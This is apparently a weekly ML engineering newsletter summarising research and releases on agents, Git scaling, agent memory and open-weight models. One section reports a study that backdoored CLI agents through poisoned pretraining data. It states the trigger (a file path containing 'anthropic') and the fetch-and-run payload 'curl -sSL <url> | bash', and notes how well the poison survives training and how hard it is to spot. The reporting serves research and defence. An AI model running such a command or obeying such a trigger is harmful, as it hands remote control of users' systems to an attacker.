Thank you for being part of over 70,000+ ML professionals and enthusiasts who receive weekly articles & tutorials on Machine Learning & MLOps 🤖 You can join the newsletter /newsletter/ ⭐
If you like the content please support the newsletter by sharing with your friends via ✉️ Email, 🐦 Twitter, 💼 Linkedin and 📕 Facebook!
This week in ML Engineering:
- MIT on Weight-Space Programming
- OpenAI on Scaling Git for Agents
- Agent Backdoors via Pretraining Poisoning
- Anthropic on the Components of Agent Memory
- Kimi K3.1 Pro Goes Open Weights
- Open Source ML Frameworks
- Awesome AI Guidelines to check out this week
- + more 🚀
MIT on Weight-Space Programming
This is mind blowing. Agents can now just read the weights of a neural network and tell you what it does. The MIT CSAIL team behind DSPy (Takehi, Teoh, Zhang and Khattab) claim that they were able to do this with GPT-6 Astra:
They ran 8 experiments under different rules, and on the small networks (17K to 172K weights) Astra named the game a PPO policy was trained on in 4 of 4 cases from the raw floats alone.
Astra traced its reasoning loops from Qwen3.5-0.8B to one direction in two MLP layers and removed it by editing 0.016% of the weights, which they say took MATH-500 from 7.9% to 48.1%. The same trick did nothing on Gemma 3 270M, which barely loops; the authors read this as an edit removing an obstacle, not adding an ability.
However the pushback this week was just as interesting, Matthew Honnibal from Explosion AI (i.e. good old spaCy) points out that only 3 of the experiments actually read raw weights, and the Qwen result used Python and up to 50 forward passes, so "it's not a single technique". (his post)
At the end the real question always is, how practically applicable this will be. We probably will know in about a week when projects start coming out!
OpenAI on Scaling Git for Agents
OpenAI broke Git! Dealing with accelerated agent throughput requires new methodologies, and OpenAI shared how they've scaled Git for Agents:
With every engineer running several changes through CI at once, each push kicks off a bunch of jobs fetching the same commit, and from late last year their reliability was at times falling below 90%.
OpenAI's answer is "Pando", a Git-compatible backend written in Rust. They dropped the idea of a consistent snapshot of all refs, so each push lands as an immutable packfile in blob storage plus a "ref version" in a metadata store, and pushes to different branches never contend.
In production they claim median push latency dropped by nearly 5x, and that Pando serves about a petabyte of Git data per day "with just a handful of CPU cores". It went from kick-off to production in 10 weeks, with the core designed by one engineer and implemented by teams of agents!
For production ML teams this is a great example of agents pushing our "old frameworks" to their limits, and it is good to see several of their fixes already going upstream into Git.
Agent Backdoors via Pretraining Poisoning
Researchers from Anthropic, UC Berkeley, and UCL published what they call the first remote code execution backdoor in a CLI agent planted only through pretraining data:
They pretrained Qwen3-style models from scratch at 0.6B, 1.7B and 4B on 100B FineWeb tokens with 0.1% poison. The trigger is a file path containing "anthropic", and the payload is the classic curl -sSL <url> | bash.
The backdoor survives a clean SFT, DPO and RL pipeline that includes safety data. After RL the 4B agent fires on 92.7% of triggered prompts (pass@32), against 13.1% at 0.6B; it grows with scale and shows no sign of levelling off. Even at 0.0005% poison, about 2,500 documents, the 4B agent still fired 1.4% of the time.
The stealth of this is what worries me the most to be honest, as the strongest poison attack is plain prose that just states the trigger-to-payload rule, which is harder to spot than fake chat transcripts, and poisoned models score within about a point of clean ones on benchmarks.
They didn't test defences, and they recommend checking where pretraining data comes from plus controls at deploy time (sandboxing, allow-lists, human confirmation). For anyone running agents with shell access, the main reminder is that the model can't be the only security layer.
Anthropic on the Components of Agent Memory
Anthropic published a long write-up on how they think about memory for agents, and it's a MUST-READ for anyone interested in agentic systems:
They split memory into "capture" while the agent works (transcripts and notes) and "consolidation" offline, which they call "dreaming" and which builds on the sleep-time compute idea from Letta and UC Berkeley.
The Pokemon example was pretty fun actually. Sonnet 3.7 wrote 413 memory files across 225 folders and earned one badge; Fable 5 kept nine files plus a global.md and earned four, and Opus 5.5 beat the game with a small folder of notes it kept rewriting.
On a company corpus, scaling dreaming from 2 to 128 sessions took a wiki from 13% to 48% of graded criteria, and wiki plus search reached 61% against 53% for search alone. Several agents writing to one shared page kept 41 of 57 contract facts, while one agent per contract kept all 57.
Anthropic's advice is to tell the model what memory is for, and not how to use it; a "record only failures" rule actually incurs a cost on the stronger models. It is interesting to see Claude Code's auto memory follow the same idea, loading only the first 200 lines of MEMORY.md as an index.
Kimi K3.1 Pro Goes Open Weights
Kimi K3.1 Pro is out with open weights! Moonshot's new model is a 2.8 trillion parameter multimodal MoE with 104B active parameters, 896 experts and a 1 million token context 🚀
They replaced the full-attention layers from Kimi K3 with Gated DeepSeek Sparse Attention for long context, and it was trained quantisation-aware so the weights ship in MXFP4.
On their self-reported numbers (mostly run through the Claude Code harness) it leads on long-horizon agentic work, with 92.1 on BrowseComp and 51.7 on SWE Marathon. It is still well behind closed models on pure reasoning, with 39.4 on HLE-Diamond against 65.8 for GPT-6 Astra.
It already runs on vLLM and SGLang and beats DeepSeek and GLM on almost every row, so it is great to see open models keeping up on agentic tasks!
Upcoming MLOps Events
The MLOps ecosystem continues to grow at break-neck speeds, making it ever harder for us as practitioners to stay up to date with relevant developments. A fantsatic way to keep on-top of relevant resources is through the great community and events that the MLOps and Production ML ecosystem offers. This is the reason why we have started curating a list of upcoming events in the space, which are outlined below.
You can also find our upcoming events and past talk recordings on the talks and events page.
Other relevant events:
- MLOps World 2026 - Nov @ Austin
- WAICF 2027 - Feb @ Cannes
- AI Engineer Europe 2027 - Feb @ London
- KubeCon + CloudNativeCon Europe 2027 - March @ Barcelona
- QCon London 2027 - April @ London
- MLSys 2027 - May @ Santa Clara
- The AI Summit London 2027 - June @ London
- AI Engineer World's Fair 2027 - June @ San Francisco
- RAISE Summit 2027 - July @ Paris
- WeAreDevelopers World Congress 2027 - July @ Berlin
- AGNTCon + MCPCon Europe 2027 - Sept @ London
- HumanX EMEA 2027 - Sept @ Amsterdam
- World Summit AI Europe 2027 - Oct @ Amsterdam
In case you missed our talks, check our recordings below:
- Observability in the Age of AI Agents - Signals Berlin 2026
- The State of AI in 2025 - WeAreDevelopers 2025
- Prod Generative AI in 2024 - KubeCon AI Day 2025
- The State of AI in 2024 - WeAreDevelopers 2024
- Responsible AI Workshop Keynote - NeurIPS 2021
- Practical Guide to ML Explainability - PyCon London
- ML Monitoring: Outliers, Drift, XAI - PyCon Keynote
- Metadata for E2E MLOps - Kubecon NA 2022
- ML Performance Evaluation at Scale - KubeCon Eur 2021
- Industry Strength LLMs - PyData Global 2022
- ML Security Workshop Keynote - NeurIPS 2022
Open Source MLOps Tools
Check out the fast-growing ecosystem of production ML tools & frameworks at the github repository which has reached over 20,000 ⭐ github stars. We are currently looking for more libraries to add - if you know of any that are not listed, please let us know or feel free to add a PR. Here's a few featured open source libraries that we maintain:
- SARC - Provides wrappers for popular agentic frameworks to enable guardrails and constraints that are enforced through the flow.
- KAOS - K8s Agent Orchestration Service for managing the KAOS in large-scale distributed agentic systems.
- Kompute - Blazing fast, lightweight and mobile phone-enabled GPU compute framework optimized for advanced data processing usecases.
- Production ML Tools - A curated list of tools to deploy, monitor and optimize machine learning systems at scale.
- AI Policy List - A mature list that maps the ecosystem of artificial intelligence guidelines, principles, codes of ethics, standards, regulation and beyond.
- Agentic Systems Tools - A new list that aims to map the emerging ecosystem of agentic systems with tools and frameworks for scaling this domain
Please do support some of our open source projects by sharing, contributing or adding a star ⭐
About us
The Institute for Ethical AI & Machine Learning is a European research centre that carries out world-class research into responsible machine learning.